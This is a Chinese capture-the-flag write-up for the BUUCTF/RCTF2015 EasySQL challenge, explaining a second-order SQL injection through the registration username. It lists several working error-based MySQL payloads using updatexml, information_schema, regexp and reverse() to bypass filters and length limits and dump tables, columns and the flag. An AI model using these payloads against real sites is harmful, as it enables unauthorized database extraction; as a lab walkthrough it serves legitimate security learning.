• BUUCTF-[RCTF2015]EasySQL wp


    知识点:二次注入

    进入页面发现有注册和登录的功能

     

     点击注册页面后先随便注册一个用户,登录后出现这个页面

     

    随便点了一个发现有参数,但是用sql注入无果,于是猜测在注册或者登录处进行sql注入。又发现Hi的后面会显示用户名,猜测是二次注入

     

    注册用户名:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#爆出表

    虽然有flag表,但是flag不在flag表里,所以用:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#爆出字段名,但是发现有长度限制

    使用regexp读取完整字段名

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

     

    使用:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#爆出flag,但是发现有长度限制

     

    由于substr()、left()、right()函数被过滤,所以使用reverse倒序输出

    Yhck"||(updatexml(1,concat(0x3a,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))),1))#,结合起来就是flag

     

     

     

     

     

     

     

     

  • 相关阅读:
    Arduino Uno微控制器采用的是Atmel的ATmega328
    关于arduino与SPI
    fopen和fopen_s用法的比较
    C语言中 malloc
    补码原理——负数为什么要用补码表示
    晶振
    晶振(crystal)与谐振荡器(oscillator)
    LCD显示器缺陷自动化检测方案
    arduino 动态内存不足问题
    文档生成工具——Doxygen
  • 原文地址:https://www.cnblogs.com/Yhck/p/13654119.html
Copyright © 2020-2023  润新知